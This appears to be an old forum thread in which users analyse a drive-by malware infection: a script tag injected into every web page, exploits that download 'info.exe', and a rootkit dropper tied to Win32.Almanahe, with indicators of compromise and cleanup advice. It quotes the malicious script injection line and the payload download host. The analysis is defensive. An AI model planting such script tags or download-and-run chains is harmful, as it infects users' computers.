Got injected web script while browser any website(what's the virus?)

What virus it could be?

While I browser any web page, from the html source I found some
unusual stuff:
<SCRIPT LANGUAGE="javascript1.2" SRC="http://ads.goodnetads.org/
main.js"></SCRIPT>

Obviously it's some kind of ads virus, the virus might not on my box,
I checked. And there's no arp spoofing.
I also checked other computers in the same LAN, they also have the
same problem with me.
I handled it with hosts files that direct it to myself.

How could this kind of virus get to work like this way?

main.js also loads:

which looks like a malformed FlvPlayerUrl (Flash video?) exploit using
a buffer overflow to inject code. It's not obvious what the code does.

main.js also loads:

which is an animated cursor exploit to download and run "info.exe".
This file is identical to "info.jpg.exe".

It's nasty malware incorporating root-kit techniques. It will hide or
protect its files. The downloader (info.exe or info.jpg.exe) performs
the following actions:

* creates <windows>\system32\drivers\uuid.sys
* calls ZwSetSystemInformation to load uuid.sys into kernel space
* deletes uuid.sys
* downloads and runs "ads.1234214.info/tk/web.jpg", another executable
as <user>\Local Settings\Temp\update.exe
* deletes the original downloader.

I haven't analysed what update.exe (web.jpg) does but it's detected by
Bitdefender as Win32.Almanahe.E. A quick inspection of the binary
shows it to be similar to what they describe here in the 'D' variant:
http://www.bitdefender.com/VIRUS-10...Almanahe.D.html

You'd better check what other sites your network is connecting to.

Malicious Javascript taking advantage of unpatched vulnerabilities in
Windows and other components. You need to increase your browser and
system security, and certainly should not allow ActiveX controls and
plugins to run on untrusted sites such as these.

info.exe makes references to:

\system32\drivers\uuid.sys and UNIS.bat

Absolutely no search hits for uuid.sys.

info.exe was already analyzed by VT, with a 78% detection rate:

http://www.virustotal.com/resultado...1a2edd0076c312b

Microsoft being the only notable AV program to NOT detect it.

ani.c has an 84% detection rate.

The file tk.js is flagged only by 6 out of 32 AV programs as a JS
trojan downloader (bdx, hi, ha or ldc).

It's also detected as Alman.a by most AV.

According to this:

http://www.f-secure.com/v-descs/virus_w32_alman_a.shtml

it spreads via network connectivity, and also infects all executable
files on a system (so there should be lots of hard-drive activity I
would think).

It seems to be catagorized as a network worm and trojan, not as a
rootkit - but perhaps it eventually downloads and installs a rootkit
as a second stage of the infection.

Read the above f-secure link. It contains advice and links to
disinfection tools.

There is some aspect of your system that wasn't patched. If you're
sure that it's up to date (as far as Microsoft is concerned) then your
Java JRE should be looked at. You need to uninstall ALL versions of
Java Runtime Engines (JRE) and only install the latest version.

It's a widely known flaw that simply having an old version of JRE
still installed on your system is a vulnerability. Installing new
versions of JRE does not get rid of older versions.

Have you "innoculated" your browsers with Spybot SD and Spyware
Blaster?

or perhaps 'rootkit' functionality is merely a *property* of other
malware... i think it only gets used as a primary classification when
the malware's other functionality isn't particularly significant by
comparison or if there isn't any other functionality to begin with...

Not surprising because that is deleted immediately after being dropped
and loaded into memory. It's the initial rootkit component and is
likely not needed once the second binary is downloaded and installed.

That's an older version which behaves in a similar way. The
Bitdefender example is a closer description and has the correct URL
which the malware uses for further communication.

It drops its own version of linkinfo.dll in the %windows% directory;
the genuine MS version being in %windows%\system32. I believe the
rootkit components are embedded in the dll. They appear to be:

IsDrv122.sys
RsBoot.sys
cdralw.sys

One or more will be launched from the registry entry:
HKLM\SYSTEM\CurrentControlSet\Services
with the service name DLANX.

These files are also created:

C:\setup.exe
\\.\DLUProc

Mutex names appear to be:

__DLU_INF__
PNP#DMUTEX#1#DLU
PNP#NETMUTEX#1#DLU

I reckon ActiveX, anifile or Macromedia Flash.

In this case, Java had wasn't involved.

Well, I like pulling them apart but it's nice to know someone is
interested in seeing the results!
